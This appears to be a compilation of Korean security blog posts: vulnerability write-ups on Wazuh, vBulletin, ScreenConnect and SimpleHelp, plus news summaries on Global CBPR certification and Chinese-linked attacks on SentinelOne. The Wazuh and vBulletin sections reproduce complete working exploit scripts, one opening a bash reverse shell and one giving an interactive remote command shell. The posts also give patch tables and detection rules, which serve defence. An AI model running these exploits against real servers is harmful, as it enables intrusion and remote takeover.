1. Wazuh

- XDR과 SIEM 기능을 통합한 무료 오픈 소스 보안 플랫폼 [1][2]
- Wazuh Server, Wazuh Agent, Elasticsearch, Kibana로 구성

2. 취약점

[사진 1] CVE-2025-24016 [3]

- Wazuh Server가 DistributedAPI 매개변수를 적절히 역직렬화하지 못해 발생하는 원격 코드 실행 취약점 (CVSS: 9.9)

> 해당 취약점을 노린 Mirai 기반 봇넷 공격이 확인되며, 전 세계적으로 DDoS 공격이 확산되고 있음

영향받는 버전
- Wazuh Server 4.4.0 이상 ~ 4.9.0 이하

 

- Wazuh Server는 JSON으로 직렬화된 DistributedAPI 매개변수as_wazuh_object()를 호출해 역직렬화 (Line 30) [4]

1 class APIRequestQueue(WazuhRequestQueue):
2     """
3     Represents a queue of API requests. This thread will be always in background, it will remain blocked until a
4     request is pushed into its request_queue. Then, it will answer the request and get blocked again.
5     """
6 
7     def __init__(self, server):
8         super().__init__(server)
9         self.logger = logging.getLogger('wazuh').getChild('dapi')
10         self.logger.addFilter(wazuh.core.cluster.utils.ClusterFilter(tag='Cluster', subtag='D API'))
11 
12     async def run(self):
13         while True:
14             names, request = (await self.request_queue.get()).split(' ', 1)
15             names = names.split('*', 1)
16             # name    -> node name the request must be sent to. None if called from a worker node.
17             # id      -> id of the request.
18             # request -> JSON containing request's necessary information
19             name_2 = '' if len(names) == 1 else names[1] + ' '
20 
21             # Get reference to MasterHandler or WorkerHandler
22             try:
23                 node = self.server.client if names[0] == 'master' else self.server.clients[names[0]]
24             except KeyError as e:
25                 self.logger.error(
26                     f"Error in DAPI request. The destination node is not connected or does not exist: {e}.")
27                 continue
28 
29             try:
30                 request = json.loads(request, object_hook=c_common.as_wazuh_object)
31                 self.logger.info("Receiving request: {} from {}".format(
32                     request['f'].__name__, names[0] if not name_2 else '{} ({})'.format(names[0], names[1])))
33                 result = await DistributedAPI(**request,
34                                               logger=self.logger,
35                                               node=node).distribute_function()
36                 task_id = await node.send_string(json.dumps(result, cls=c_common.WazuhJSONEncoder).encode())
37             except Exception as e:
38                 self.logger.error(f"Error in distributed API: {e}", exc_info=True)
39                 task_id = b'Error in distributed API: ' + str(e).encode()
40 
41             if task_id.startswith(b'Error'):
42                 self.logger.error(task_id.decode(), exc_info=False)
43                 result = await node.send_request(b'dapi_err', name_2.encode() + task_id)
44             else:
45                 result = await node.send_request(b'dapi_res', name_2.encode() + task_id)
46             if not isinstance(result, WazuhException):
47                 if result.startswith(b'Error'):
48                     self.logger.error(result.decode(), exc_info=False)
49             else:
50                 self.logger.error(result.message, exc_info=False)

 

- as_wazuh_object()는 JSON 내부에 "__unhandled_exc__" 값이 있을 경우 "__class__" 및 "__args__" 값을 사용해 eval()로 호출 (Line28 ~ 30) [5]

> 그러나 사용자 입력에 대한 적절한 검증 없이 eval()를 호출하여 임의 코드 실행이 가능

1 def as_wazuh_object(dct: Dict):
2     try:
3         if '__callable__' in dct:
4             encoded_callable = dct['__callable__']
5             funcname = encoded_callable['__name__']
6             if '__wazuh__' in encoded_callable:
7                 # Encoded Wazuh instance method.
8                 wazuh = Wazuh()
9                 return getattr(wazuh, funcname)
10             else:
11                 # Encoded function or static method.
12                 qualname = encoded_callable['__qualname__'].split('.')
13                 classname = qualname[0] if len(qualname) > 1 else None
14                 module_path = encoded_callable['__module__']
15                 module = import_module(module_path)
16                 if classname is None:
17                     return getattr(module, funcname)
18                 else:
19                     return getattr(getattr(module, classname), funcname)
20         elif '__wazuh_exception__' in dct:
21             wazuh_exception = dct['__wazuh_exception__']
22             return getattr(exception, wazuh_exception['__class__']).from_dict(wazuh_exception['__object__'])
23         elif '__wazuh_result__' in dct:
24             wazuh_result = dct['__wazuh_result__']
25             return getattr(wresults, wazuh_result['__class__']).decode_json(wazuh_result['__object__'])
26         elif '__wazuh_datetime__' in dct:
27             return datetime.datetime.fromisoformat(dct['__wazuh_datetime__'])
28         elif '__unhandled_exc__' in dct:
29             exc_data = dct['__unhandled_exc__']
30             return eval(exc_data['__class__'])(*exc_data['__args__'])
31         return dct

3. PoC

- ~/security/user/authenticate/run_as URL 및 악성 JSON 페이로드를 포함 [6]

import argparse
import logging
import requests
from requests.auth import HTTPBasicAuth
import pyfiglet
import os
import time
import ipaddress
from packaging import version
import sys
import urllib3

logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(levelname)s - %(message)s'
)
logger = logging.getLogger(__name__)

def color_print(text, color=None):
    if color == 'error':
        return f"\033[1;31m{text}\033[0m"
    elif color == 'warning':
        return f"\033[1;33m{text}\033[0m"
    elif color == 'success':
        return f"\033[1;32m{text}\033[0m"
    elif color == 'info':
        return f"\033[1;36m{text}\033[0m"
    else:
        return text

def version_check():
    try:
        req_version = version.parse(requests.__version__)
        pyfiglet_version = version.parse(pyfiglet.__version__)
        logger.info(
            "Wazuh Current version:\n"
            f"Requests: {req_version}\n"
            f"PyFiglet: {pyfiglet_version}\n"
        )
    except Exception as e:
        logger.error("Pengecekan versi gagal karena %s", str(e))

def parse_args():
    parser = argparse.ArgumentParser(
        description="Wazuh RCE Exploit POC",
        formatter_class=argparse.ArgumentDefaultsHelpFormatter
    )

    # Required
    required = parser.add_argument_group("Required")
    required.add_argument(
        "-u", "--url", required=True,
        help="URL target (ex: https://<worker-server>:55000/security/user/authenticate/run_as)"
    )
    required.add_argument(
        "-i", "--ip", required=True,
        help="LHOST for reverse shell connection"
    )
    required.add_argument(
        "-p", "--port", required=True, type=int,
        help="LPORT for reverse shell connection"
    )

    # Auth
    auth = parser.add_argument_group("Opsi Auth")
    auth.add_argument(
        "-user", "--username", default="wazuh-wui",
        help="Username for auth"
    )
    auth.add_argument(
        "-pass", "--password", default="MyS3cr37P450r.*-",
        help="Password for auth"
    )

    # Opsi tambahan
    optional = parser.add_argument_group("Opsi Tambahan")
    optional.add_argument(
        "-c", "--config-file", type=str,
        help="Path to configuration file"
    )
    optional.add_argument(
        "-n", "--no-color", action="store_true",
        help="Nonaktifkan output warna"
    )
    optional.add_argument(
        "--version", action="version",
        version="1.0",
        help="Show program version"
    )

    return parser.parse_args()
def check_ip(ip):
    try:
        ipaddress.ip_address(ip)
        return True
    except ValueError:
        logger.error("IP tidak valid: %s", ip)
        return False

def check_port(port):
    try:
        port_int = int(port)
        if 0 < port_int <= 65535:
            return True
        logger.error("Invalid Port: %s", port)
        return False
    except ValueError:
        logger.error("Port tidak merupakan angka: %s", port)
        return False

def check_url(url):
    if not url.startswith("http"):
        logger.error("Invalid URL, make sure the URL starts with http:// atau https://")
        return False
    return True

def main():
    args = parse_args()
    
    def local_color_print(text, color=None):
        if args.no_color:
            return text
        return color_print(text, color)
    
    if not check_ip(args.ip) or not check_port(args.port) or not check_url(args.url):
        logger.error("Invalid IP/Port/URL")
        sys.exit(1)
    
    version_check()
    
    ascii_motd = pyfiglet.figlet_format("Wazuh RCE")
    custom_header = (
        "\n" + 
        "---------------------------------------------------\n"
        "           Custom Wazuh RCE Header\n"
        "---------------------------------------------------\n"
    )
    
    print(ascii_motd)
    if args.config_file:
        print(custom_header)
    else:
        print("Wazuh Server RCE - CVE-2025-24016")
        print("Research & Testing Purposes Only!")
        print("Unauthorized use is strictly prohibited.")
        print("By: Jessie at Pelindo Cyber Security Team")
        print("Credits: Aiman, Cahyo, Ihsan & the Arch \n")
    
    # Payload
    payload = {
        "__unhandled_exc__": {
            "__class__": "os.system",
            "__args__": [
                f"bash -i >& /dev/tcp/{args.ip}/{args.port} 0>&1"
            ]
        }
    }
    
    headers = {
        "Content-Type": "application/json",
        "X-Header-Name": "Custom-Header"
    }
    
    # Auth 
    username = args.username
    password = args.password
    
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    try:
        response = requests.post(
            args.url,
            json=payload,
            headers=headers,
            auth=HTTPBasicAuth(username, password),
            verify=False,
            timeout=10
        )
        
        if response.status_code != 200:
            logger.error("Kode status respons: %d", response.status_code)
            if "Unauthorized" in str(response.text):
                logger.error("Failed Authentication")
            else:
                logger.error("Respons abnormal: %s", response.text)
            sys.exit(1)
            
        print(color_print("Sucess Authentication!", "success"))
        print("Respons:", color_print(response.text, "info"))
        
    except requests.exceptions.RequestException as e:
        error_type = type(e).__name__
        logger.error("%s: %s", error_type, str(e))
        sys.exit(1)
    
    # Opsi shell
    reverse_shell_options = {
        "command": "bash -i",
        "reverse_port": args.port,
        "timeout": 5,
        "retry_count": 3
    }
    
    logger.info("Established connection reverse shell to %s:%d", args.ip, int(args.port))
    time.sleep(reverse_shell_options["timeout"])
    
    try:
        s = os.system(reverse_shell_options["command"])
        if s != 0:
            logger.error("Reverse shell failed: %s", str(s))
    finally:
        if 's' in locals():
            del s
    
    print(color_print("Reverse shell success!", "success"))

if __name__ == "__main__":
    main()

4. 대응방안

- 벤더사 제공 업데이트 적용 [7][8][9]

> eval()를 ast.literal_eval()로 변경 (제한된 타입-strings, bytes, numbers, tuples, lists, dicts, sets, booleans, None and Ellipsis-만 처리) [10][11]

취약점 제품명 영향받는 버전 해결 버전
CVE-2025-24016 Wazuh Server 4.4.0 이상 ~ 4.9.0 이하 4.9.1 이상

 

- 탐지룰 적용 [12]

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"ET WEB_SPECIFIC_APPS Wazuh Server Serialized Unhandled Exception Payload (CVE-2025-24016)"; flow:established,to_server; content:"POST"; http_method; content:"/"; http_uri; depth:1; pcre:"/^(?:security|agents|events|groups)\x2f/Ri"; content:"Content-Type|3a 20|application/json"; http_header; content:"|22|__unhandled_exc__|22 3a|"; http_client_body; fast_pattern; content:"|22|__class__|22 3a|"; http_client_body; content:"|22|__args__|22 3a|"; http_client_body; reference:url,github.com/wazuh/wazuh/security/advisories/GHSA-hcrc-79hj-m3qh; reference:cve,2025-24016; classtype:web-application-attack; sid:2060945; rev:1; metadata:attack_target Server, tls_state TLSDecrypt, created_at 2025_03_18, cve CVE_2025_24016, deployment Perimeter, deployment Internal, deployment SSLDecrypt, confidence High, signature_severity Major, tag Exploit, updated_at 2025_03_18, mitre_tactic_id TA0001, mitre_tactic_name Initial_Access, mitre_technique_id T1190, mitre_technique_name Exploit_Public_Facing_Application;)

5. 참고

[1] https://wazuh.com/
[2] https://documentation.wazuh.com/current/getting-started/index.html
[3] https://nvd.nist.gov/vuln/detail/CVE-2025-24016
[4] https://github.com/wazuh/wazuh/blob/2477e9fa50bc1424e834ac8401ce2450a5978e75/framework/wazuh/core/cluster/dapi/dapi.py#L660
[5] https://github.com/wazuh/wazuh/blob/2477e9fa50bc1424e834ac8401ce2450a5978e75/framework/wazuh/core/cluster/common.py#L1561
[6] https://github.com/0xjessie21/CVE-2025-24016
[7] https://documentation.wazuh.com/current/release-notes/release-4-9-1.html
[8] https://documentation.wazuh.com/current/upgrade-guide/upgrading-central-components.html
[9] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71769&menuNo=205020
[10] https://github.com/wazuh/wazuh/blob/3aadee6d1f3115961036c68b11ca056665e23bc0/framework/wazuh/core/cluster/common.py#L1799
[11] https://docs.python.org/3/library/ast.html#ast.literal_eval
[12] https://asec.ahnlab.com/ko/87024/
[13] https://github.com/wazuh/wazuh/security/advisories/GHSA-hcrc-79hj-m3qh
[14] https://www.dailysecu.com/news/articleView.html?idxno=166820
[15] https://hackyboiz.github.io/2025/02/22/empty/CVE-2025-24016/

요약 - 25.06.02부터 글로벌 국경 간 프라이버시 규칙(CBPR, Cross Border Privacy Rules) 시행
- CBPR은 회원국 간 전자상거래를 활성화하고 안전한 개인정보 이전을 촉진하기 위해 마련된 제도
내용 - 글로벌 국경 간 프라이버시 규칙(Global CBPR, Global Cross Border Privacy Rules)
> 회원국 간 전자상거래를 활성화하고 국경 간 안전한 개인정보 이전을 촉진하기 위한 제도
> 개인정보 관리체계 등에 대한 심사를 거쳐 일정한 개인정보 보호 수준을 갖춘 기업은 인증을 받을 수 있음
※ 인증을 받은 기업은 해외 사업 시 대외 신뢰도 향상 등의 효과를 얻을 수 있음
※ 일본, 싱가포르 등 Global CBPR을 국외이전 수단으로 채택한 국가로부터 원활하게 개인정보를 이전받을 수 있

> 지난 2011년 아시아-태평양 지역 9개 국가가 참여하는 APEC CBPR로 시작
> 이후 영향력을 전 세계로 넓히기 위해 대한민국, 미국, 일본 등의 주도로 2022년 글로벌 협의체 출범
> 3년 간의 논의를 거친 결과 글로벌 인증(Global CBPR)을 개시
> 현재 4개 국가(영국, 두바이, 모리셔스, 버뮤다)가 추가로 참여하고 있으며, 다수의 국가가 참여 의사 표명
※ 아시아-태평양 지역 9개국 : 대한민국, 미국, 일본, 캐나다, 멕시코, 호주, 싱가포르, 필리핀, 대만
※ 나라별 제도 운용 방식은 다를 수 있음

- 우리나라의 경우 개인정보보호위원회가 전체적인 정책을 총괄하고, KISA는 실제 인증 심사를 진
기타 -

 

보안뉴스

 

CBPR 홈페이지

APEC 프라이버시 보호 원칙을 기반으로 기업의 개인정보 보호 체계를 평가하여 인증하는 글로벌 인증제도로, APEC 회원국 간 자유롭고 안전한 개인정보 이전을 지원하기 위해 APEC 회원국이 공동으

cbpr.kisa.or.kr

 

개인정보보호위원회

해당 페이지의 만족도와 소중한 의견 남겨주세요.

www.pipc.go.kr

 

글로벌 CBPR 인증 시행...“국가간 안전한 개인정보 이전”

개인정보보호위원회와 한국인터넷진흥원(KISA)은 2일부터 ‘글로벌 국경 간 프라이버시 규칙(CBPR)’ 인증을 공식 시행한다고 1일 밝혔다.

www.boannews.com

 

개인정보 국외 이전 쉽게…글로벌 CBPR 인증심사 개시 - 머니투데이

개인정보보호위원회·한국인터넷진흥원(KISA)이 오는 2일 '글로벌 국경 간 프라이버시 규칙(CBPR)' 인증심사를 시행한다고 1일 밝혔다. 글로벌 CBPR은 회원국 간 전자상거래를 활성화하고 안전한 국

news.mt.co.kr

 

글로벌 국경 간 프라이버시 규칙(Global CBPR) 인증 개시 - 국토일보

아태 인증→글로벌 인증으로… 국내 12개 기업 자동 인증 부여인증 기업, 해외사업 시 대외 신뢰도 향상 등 ‘효과’[국토일보 하종숙 기자] 국내기업의 해외사업 추진시 안전한 개인정보 이전

www.ikld.kr

 

요약 - SentinelOne, 전 세계 70여 개 조직이 중국 연계 해킹 조직의 표적이 됐다고 발표
- 사이버보안 기업도 주요 타깃으로, 업계 전반 위협 심각
내용 - SentinelLabs (SentinelOne 산하 위협분석 조직)
> 전 세계 70여 개 조직이 중국 연계 해킹 조직의 표적이 됐다고 발표
> 24.06 ~ 25.03까지 두 차례에 걸쳐 공격이 발생

퍼플헤이즈(PurpleHaze) 캠페인
> APT15와 UNC5174로 추정되는 해킹 조직이 주도
> 24.10 SentinelOne의 인터넷에 노출된 서버를 대상으로 443 포트를 스캔하며 정찰
> entinelxdr[.]us, secmailbox[.]us와 같은 위장 도메인을 등록해 센티넬원 인프라로 위장
> Ivanti 장비의 제로데이 취약점을 통해 GOREshell 백도어를 심는 방식이 활용

섀도우패드(ShadowPad) 캠페인
> 중국 국적의 APT41이 주도
> 24.06 ~ 25.03까지 진행
> 센티넬원의 하드웨어 유통을 맡고 있는 IT 서비스·물류 기업을 타깃으로 삼아 공급망 침투 시도
> PowerShell 스크립트를 통해 ShadowPad 악성코드를 배포 (샌드박스 탐지 우회를 위해 60초 지연 실행과 30분 후 자동 재부팅 명령이 포함)
> 오픈소스 원격 액세스 도구 Nimbo-C2를 활용해 화면 캡처, PowerShell 명령 실행, 파일 작업, UAC 우회 등 다양한 기능을 수행할 수 있도록 구성
> 민감한 사용자 문서를 찾고, 이를 7-Zip 암호 압축 파일로 만든 뒤 외부로 유출하는 PowerShell 기반 데이터 탈취 스크립트도 함께 활용

- 공격자가 보안기업 Check Point 게이트웨이 장비의 취약점을 통해 최초 접근에 성공했을 가능성이 높다고 분석
> Fortinet Fortigate, Microsoft IIS, SonicWall, CrushFTP 등 다양한 시스템에서도 ShadowPad C2 서버로의 통신이 확인 (해당 장비 또한 악용됐을 가능성 존재)

- 시사점
> 보안 기업 또한 공격 대상으로 삼고 있음
> 공급망을 통한 우회 침투와 보안 기업 탐지 기술 분석을 통한 회피 전략 마련 등 다층적 목표를 가진 위협 행위
기타 - 중국의 정교한 사이버 첩보 전략이 지속되고 있다는 증거
> 오랜 시간에 걸친 사전 정찰, 엣지 장비 침투, 맞춤형 악성코드 배포 등은 전형적인 국가 지원형 공격의 특징

- 단순 방어보다 공급망 리스크 사전 통제, 다층적 탐지 및 대응 체계를 갖추는 것이 필수
> IOC 공유와 실시간 위협 정보 교환, 정기적 시나리오 기반 대응 훈련 필요
> 국가 차원에서는 보안 수준 미비 벤더에 대한 감사와 국제적 제재 등 정책적 조치도 함께 마련되어야 함

 

보안뉴스

 

중국 해커 그룹, 글로벌 보안기업 포함 전 세계 70개 조직 사이버공격 시도...한국 보안기업들도

사이버보안 기업 센티넬원(SentinelOne)이 자사를 포함해 전 세계 70여 개 조직이 중국 연계 해킹 조직의 표적이 됐다고 6월 9일 공개했다. 이번 공격은 광범위한 사이버 첩보 작전의 일환으로, 보안

www.dailysecu.com

 

Follow the Smoke | China-nexus Threat Actors Hammer At the Doors of Top Tier Targets

This report uncovers a set of related threat clusters linked to PurpleHaze and ShadowPad operators targeting organizations, including cybersecurity vendors.

www.sentinelone.com

 

1. CVE-2025-48827

[사진 1] CVE-2025-48827 [1]

- PHP 8.1의 Reflection API 변화로 보호된 내부 API 메서드를 호출하여 원격 코드 실행이 가능한 인증 우회 취약점 (CVSS: 10.0)

 

- PHP ≤ 8.0 및 PHP ≥ 8.1 비교 [2]

> Reflection API의 동작 변화를 반영하지 않은 경우, 기존 접근 제어 우회 및 보호 메서드에 접근이 가능해짐

구분 설명
PHP ≤ 8.0 - Reflection API(ReflectionMethod::invoke()등)를 사용해 다른 클래스나 메서드에 접근할 경우
> 기본적으로 protected 또는 private 멤버에 접근 불가
> setAccessible(true)명시적으로 사용해야  protected 또는 private 멤버에 접근 가능
PHP ≥ 8.1 - Reflection API(ReflectionMethod::invoke()등)를 사용해 다른 클래스나 메서드에 접근할 경우
> setAccessible(true)명시적으로 사용하지 않아도 protected 또는 private 멤버에 접근 가능하도록 변경
> 코드 흐름 개선 및 개발 편의성 등으로 변경된 것으로 판단됨

 

[사진 2] PHP 버전 별 protected 메소드 접근 결과 비교 [3]

2. CVE-2025-48828

[사진 3] CVE-2025-48828 [4]

- 조작된 탬플릿 조건문을 통해 vBulletin 템플릿 엔진의 필터링을 우회하여 임의의 PHP 코드를 실행할 수 있는 원격 코드 실행 취약점 (CVSS: 9.0)

 

- vBulletin의 템플릿 조건문(<vb:if>)을 악용해 임의의 PHP 코드를 실행

> vBulletin의 템플릿 엔진은 <vb:if> 태그와 같은 조건문을 처리할 때, 내부적으로 eval() 함수를 사용하여 PHP 코드로 변환하고 실행

> vBulletin은 정규 표현식을 사용해 템플릿 파서에 안전하지 않은 함수의 실행을 막기위한 보안 검사를 실행

> PHP의 가변 함수 호출을 이용해 보안 검사를 우회하여 원격 코드 실행이 가능

- PHP 가변 함수 호출
> 변수를 사용해서 함수를 호출하는 것
[사진 3] PHP 가변 함수 호출

3. PoC

- replaceAdTemplate() 메서드template 매개변수 악용 [5][6]

> replaceAdTemplate() 메서드를 인증 없이 원격에서 호출 (CVE-2025-48827 악용)

> replaceAdTemplate() 메서드의 $template 매개변수에 PHP 공격 코드 삽입

※ replaceAdTemplate()는 "ad_$location" 이름으로 템플릿을 시스템에 저장

> 악성 템플릿 "ad_$location"(PoC에서는 ad_rec)를 통해 원격 명령 실

<?php

/*
    -----------------------------------------------------------------
    vBulletin (replaceAdTemplate) Remote Code Execution Vulnerability
    -----------------------------------------------------------------
    
    author..............: Egidio Romano aka EgiX
    mail................: n0b0d13s[at]gmail[dot]com
    software link.......: https://www.vbulletin.com
    
    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+
    
    [-] Technical Writeup:

    https://karmainsecurity.com/dont-call-that-protected-method-vbulletin-rce
*/

set_time_limit(0);
error_reporting(E_ERROR);

print "\n+---------------------------------------------------------------------+";
print "\n| vBulletin (replaceAdTemplate) Remote Code Execution Exploit by EgiX |";
print "\n+---------------------------------------------------------------------+\n";

if (!extension_loaded("curl")) die("\n[-] cURL extension required!\n\n");

if ($argc != 2)
{
	print "\nUsage......: php $argv[0] <URL>\n";
	print "\nExample....: php $argv[0] http://localhost/vb/";
	print "\nExample....: php $argv[0] https://vbulletin.com/\n\n";
	die();
}

$params = [
		"routestring" => "ajax/api/ad/replaceAdTemplate",
		"styleid" => "1",
		"location" => "rce",
		"template" => "<vb:if condition='\"passthru\"(\$_POST[\"cmd\"])'></vb:if>"
];

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $argv[1]);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));

if (curl_exec($ch) !== "null") die("\n[-] Exploit failed, unable to create template!\n\n");

$params = ["routestring" => "ajax/render/ad_rce"];

while (1)
{
	print "\nvBulletin-shell# ";
	if (($cmd = trim(fgets(STDIN))) == "exit") break;
	$params["cmd"] = $cmd;
	curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
	preg_match('/(.+)\{"template":/s', curl_exec($ch), $m) ? print $m[1] : die("\n[-] Exploit failed!\n\n");
}

 

[사진 4] PoC

4. 대응방안

- 벤더사 제공 최신 업데이트 적용 [7]

취약점 제품명 영향받는 버전 해결 버전
CVE-2025-48827
CVE-2025-48828
vBulletin vBulletin 버전 5.0.0~6.0.3 vBulletin 6.0.3 패치 레벨 1
vBulletin 6.0.2 패치 레벨 1
vBulletin 6.0.1 패치 레벨 1
vBulletin 5.7.5 패치 레벨 3

※ 두 취약점 모두 PHP 8.1 이상에서 실행될 때 영향 받음

5. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2025-48827
[2] https://wiki.php.net/rfc/make-reflection-setaccessible-no-op
[3] https://3v4l.org/IODNa
[4] https://nvd.nist.gov/vuln/detail/CVE-2025-48828
[5] https://karmainsecurity.com/pocs/vBulletin-replaceAdTemplate-RCE.php
[6] https://karmainsecurity.com/dont-call-that-protected-method-vbulletin-rce
[7] https://threatprotect.qualys.com/2025/05/28/vbulletin-remote-code-execution-vulnerabilities-exploited-in-the-wild-cve-2025-48827-cve-2025-48828/?utm_source=chatgpt.com
[8] https://cyberone-mir.notion.site/vBulletin-CVE-2025-48827-CVE-2025-48828-20324d000c1080fdb3fae7cbd86e9fdb
[9] https://www.bleepingcomputer.com/news/security/hackers-are-exploiting-critical-flaw-in-vbulletin-forum-software

1. ConnectWise ScreenConnect

- 원격 지원 및 액세스 소프트웨어 [1]

2. CVE-2025-3935

[사진 1] CVE-2025-3935 [2]

- 공격자가 시스템 수준 권한을 가진 상태에서 서버의 Machine Key를 탈취해 원격 코드 실행을 가능하게 하는 역직렬화 취약점

> ConnectWise는 ScreenConnect의 클라우드 버전에서 국가 배후 해커가 취약점을 악용해 공격 받은 사실을 공개 [4]

 

- 해당 취약점은 ASP.NET의 ViewState 처리 과정에서 역직렬화(Deserialization)가 안전하지 않게 구현된 데서 비롯됨

- ViewState
> ASP.NET Web Forms에서 페이지의 상태(state)를 클라이언트에 저장하기 위한 메커니즘
> ASP.NET Web Forms에서 페이지 상태 유지를 위해 사용되는 직렬화된 데이터
> 사용자가 어떤 값을 입력하거나, 페이지에서 변경한 상태를 Postback 시에도 유지하기 위해 사용
> Base64로 인코딩되어 <input type="hidden"> 필드에 포함되어 전송

 

> web.config 파일에 ViewState의 무결성과 보안을 위해 다음 두 가지 키가 저장 [5]

Machine Key 설명
Validation Key ViewState 데이터의 변조 여부를 확인하는 데 사용되는 키 값
Decryption Key ViewState 데이터를 암/복호화하는데 사용되는 키 값

 

[사진 2] Machine Key

- 공격자가 조작된 요청으로 탈취한 Machine Key 또는 공개된(≒노출된) Machine Key를 사용해 악성 ViewState를 생성 및 전송 [6]

> 이로 인해 서버에서 원격 코드 실행이 발생할 수 있음

※ MS는 노출된 Machine Key를 악용한 공격체인과 관련된 게시글 공개 [7]

3. 대응방안

- 벤더사 제공 보안 업데이트 적용 [7]

> ViewState 기능 비활성 및 해당 기능에 대한 의존성 제거

취약점 제품명 영향받는 버전 해결 버전
CVE-2025-3935 ScreenConnect ~ 25.2.3 25.2.4

 

- Machine Key 노출 여부 확인

> MS는 공개된 Machine Key의 해시 목록을 GitHub에 게시 [9]

> 노출된 키를 사용하는 경우 새로운 키로 교체 및 안전한 키 생성 주기 관리 필요

 

- 공개된 도구를 통한 테스트 진행 [10][11][12]

4. 참고

[1] https://www.screenconnect.com
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-3935
[3] https://www.connectwise.com/company/trust/advisories
[4] https://www.connectwise.com/company/trust/advisories
[5] https://attackerkb.com/topics/o59vR5d8MG/cve-2025-3935
[6] https://www.cybersecuritydive.com/news/microsoft-warns-3k-exposed-aspnet-machine-keys-at-risk-of-weaponization/739551/?utm_source=chatgpt.com
[7] https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys
[8] https://www.connectwise.com/company/trust/security-bulletins/screenconnect-security-patch-2025.4
[9] https://github.com/microsoft/mstic/blob/master/RapidReleaseTI/MachineKeyScan.ps1
[10] https://github.com/isclayton/viewstalker
[11] https://github.com/pwntester/ysoserial.net
[12] https://blog.blacklanternsecurity.com/p/aspnet-cryptography-for-pentesters
[13] https://thehackernews.com/2025/05/connectwise-hit-by-cyberattack-nation.html
[14] https://www.dailysecu.com/news/articleView.html?idxno=166598

1. 개요

- DragonForce Ransomware 조직이 매니지드 서비스 제공업체(MSP)를 침해하고 SimpleHelp 도구를 악용해 고객 시스템에 암호화기 배포 및 데이터 탈취 [1]

> 매니지드 서비스 제공업체(MSP, Managed Service Provider) : 기업의 IT 인프라 또는 특정 서비스(클라우드, 보안, 애플리케이션 등)를 대신 관리해주는 기업

> 심플헬프(SimpleHelp) : 원격 모니터링 및 관리(RMM, Remote Monitoring and Management) 도구

2. 취약점

2.1 CVE-2024-57727

[사진 1] CVE-2024-57727 [2]

- 인증되지 않은 원격의 공격자가 조작된 HTTP 요청을 통해 임의의 파일을 다운로드할 수 있는 다중 경로 탐색 취약점 [3]

> /toolbox-resource endpoint에 경로 탐색 취약점이 존재

> 공격자는 관리자 및 기타 로컬 기술자 계정에 대한 해시된 비밀번호가 포함된 serverconfig.xml 파일에 주로 접근

 

2.2 CVE-2024-57728

[사진 2] CVE-2024-57728 [4]

- 조작된 ZIP 파일을 업로드하여 임의의 파일을 업로드할 수 있는 취약점 [5]

> CVE-2024-57727를 익스플로잇하여 탈취한 자격 증명을 사용해 조작된 ZIP 파일(ZIP Slip)을 업로드

> ZipUtils 클래스의 extractZip 함수는 파일 내용을 쓰기 전 파일 경로를 확인하지 않아 취약점이 발생

> 원격 명령 실행을 위해 Linux 서버의 경우 crontab 파일을 업로드하며, Windows 서버의 경우 실행 파일이나 라이브러리를 덮어 씀

 

2.3 CVE-2024-57726

[사진 3] CVE-2024-57726 [6]

- 낮은 권한의 사용자가 과도한 권한을 가진 API 키를 생성할 수 있는 권한 상승 취약점 (CVSS: 9.9)

> 일부 관리자 기능에 백엔드 권한 확인이 누락되어 공격자가 자신의 권한을 관리자 권한으로 상승시킬 수 있는 경로가 존재

 

3. 대응방안

- 벤더사 제공 보안 업데이트 적용 [7]

> CVE-2024-57727 관련 스캐너 [8][9]

취약점 제품명 영향받는 버전 해결 버전
CVE-2024-57727
CVE-2024-57728
CVE-2024-57726
SimpleHelp ~ v5.5.7 v5.5.8
 v5.4.10
v5.3.9

 

- 탐지 룰 적용 [10]

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"ET WEB_SPECIFIC_APPS SimpleHelp Support Server Unauthenticated Path Traversal (serverconfig.xml) (CVE-2024-57727)"; flow:established,to_server; content:"GET"; http_method; content:"|2e 2e 2f|"; http_uri; content:"serverconfig.xml"; http_uri; fast_pattern; distance:0; reference:url,www.horizon3.ai/attack-research/disclosures/critical-vulnerabilities-in-simplehelp-remote-support-software/; reference:cve,2024-57727; classtype:web-application-attack; sid:2059843; rev:1; metadata:attack_target Server, tls_state TLSDecrypt, created_at 2025_02_03, cve CVE_2024_57727, deployment Perimeter, deployment Internal, deployment SSLDecrypt, confidence High, signature_severity Major, tag Exploit, updated_at 2025_02_03, mitre_tactic_id TA0001, mitre_tactic_name Initial_Access, mitre_technique_id T1190, mitre_technique_name Exploit_Public_Facing_Application;)

4. 참고

[1] https://news.sophos.com/en-us/2025/05/27/dragonforce-actors-target-simplehelp-vulnerabilities-to-attack-msp-customers
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-57727
[3] https://horizon3.ai/attack-research/disclosures/critical-vulnerabilities-in-simplehelp-remote-support-software
[4] https://nvd.nist.gov/vuln/detail/CVE-2024-57728
[5] https://attackerkb.com/topics/ZPM9Bbsv2L/cve-2024-57728
[6] https://nvd.nist.gov/vuln/detail/CVE-2024-57726
[7] https://simple-help.com/kb---security-vulnerabilities-01-2025#security-vulnerabilities-in-simplehelp-5-5-7-and-earlier
[8] https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/simplehelp_toolbox_path_traversal.rb
[9] https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-57727.yaml
[10] https://asec.ahnlab.com/ko/86257
[11] https://www.dailysecu.com/news/articleView.html?idxno=166478

